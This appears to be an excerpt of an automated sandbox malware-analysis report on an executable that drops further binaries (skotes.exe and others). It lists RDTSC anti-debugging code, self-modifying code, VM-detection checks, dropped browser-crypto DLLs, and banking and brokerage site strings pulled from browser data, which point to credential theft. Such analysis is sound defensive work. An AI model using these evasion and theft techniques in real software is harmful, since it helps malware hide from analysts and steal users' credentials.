Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4CFB second address: FA4CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4CFF second address: FA4D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4D03 second address: FA4D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD5E8DE1567h 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4FF3 second address: FA4FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4FF7 second address: FA5012 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1567h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FAA880 second address: FAA884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0546 second address: FB0568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1568h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0568 second address: FB0581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD5E873B156h 0x0000000a jmp 00007FD5E873B15Fh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0847 second address: FB084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB084B second address: FB0856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0856 second address: FB0864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD5E8DE1556h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0864 second address: FB0884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FD5E873B165h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB0884 second address: FB088A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3AB5 second address: FB3AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E873B166h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3B5D second address: FB3B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3B61 second address: FB3BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD5E873B168h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 4F008E9Ah 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FD5E873B158h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c call 00007FD5E873B159h 0x00000031 jmp 00007FD5E873B161h 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b jmp 00007FD5E873B15Ah 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3BD8 second address: FB3BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3CED second address: FB3CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3CF1 second address: FB3CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3CF5 second address: FB3CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3CFF second address: FB3D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB3D03 second address: FB3D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB40BD second address: FB40C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB40C1 second address: FB40C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB40C5 second address: FB40CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB4B76 second address: FB4B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB4B7A second address: FB4B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB506F second address: FB511C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FD5E873B158h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov esi, dword ptr [ebp+122D1AC3h] 0x0000002d cmc 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FD5E873B158h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007FD5E873B158h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 0000001Bh 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 sbb esi, 204E02EAh 0x0000006c xchg eax, ebx 0x0000006d push esi 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FD5E873B168h 0x00000075 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB5B0E second address: FB5B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB5B12 second address: FB5B2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB6C8F second address: FB6CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D1F44h], eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 adc si, F79Ah 0x00000017 mov si, cx 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD5E8DE1560h 0x00000022 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FB9943 second address: FB9947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBB933 second address: FBB9B0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD5E8DE155Dh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FD5E8DE155Bh 0x00000016 nop 0x00000017 mov esi, dword ptr [ebp+122D22AAh] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007FD5E8DE1558h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 and edi, 68597338h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007FD5E8DE1558h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b push eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBD93C second address: FBD9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FD5E873B158h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007FD5E873B158h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d add di, E9BDh 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007FD5E873B158h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e movzx edi, cx 0x00000061 push eax 0x00000062 pushad 0x00000063 pushad 0x00000064 jne 00007FD5E873B156h 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBE9D8 second address: FBE9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBE9DC second address: FBE9ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007FD5E873B164h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBE9ED second address: FBEA82 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c add dword ptr [ebp+12482C31h], ecx 0x00000012 pushad 0x00000013 mov esi, dword ptr [ebp+122D17F6h] 0x00000019 mov dword ptr [ebp+122D1B4Fh], edi 0x0000001f popad 0x00000020 popad 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007FD5E8DE1558h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov bh, dh 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edi 0x00000044 call 00007FD5E8DE1558h 0x00000049 pop edi 0x0000004a mov dword ptr [esp+04h], edi 0x0000004e add dword ptr [esp+04h], 00000016h 0x00000056 inc edi 0x00000057 push edi 0x00000058 ret 0x00000059 pop edi 0x0000005a ret 0x0000005b clc 0x0000005c jmp 00007FD5E8DE1561h 0x00000061 xchg eax, esi 0x00000062 jmp 00007FD5E8DE155Dh 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jne 00007FD5E8DE155Ch 0x00000070 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBF954 second address: FBF969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E873B161h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FBF969 second address: FBF989 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD5E8DE1561h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FC2B4A second address: FC2BA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bx, D802h 0x0000000e push 00000000h 0x00000010 mov bl, dh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FD5E873B158h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e jne 00007FD5E873B15Bh 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FC2BA4 second address: FC2BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FC2BA8 second address: FC2BAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 86FC85 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 86FCFD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A0AAC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A1BB9E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A997B7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Special instruction interceptor: First address: DFEA27 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Special instruction interceptor: First address: FD168D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Special instruction interceptor: First address: 102B695 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6EA27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4168D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F9B695 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

Code function: 29_2_04D90D8F rdtsc

29_2_04D90D8F

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007721001\dc5edaf639.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7500	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7496	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7612	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7476	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7492	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7484	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7484	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4900	Thread sleep count: 64 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4900	Thread sleep time: -1920000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4900	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000022.00000002.3416584255.0000000000EFC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2706801790.0000000001214000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3418494044.000000000139A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3418494044.0000000001369000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2736611897.0000000023842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000002.2736611897.00000000238B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\5
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2736611897.0000000023842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: file.exe, 00000000.00000002.2736611897.00000000238B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DocumentsBAEHIEBGHD.exe, 0000001D.00000003.2754969912.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
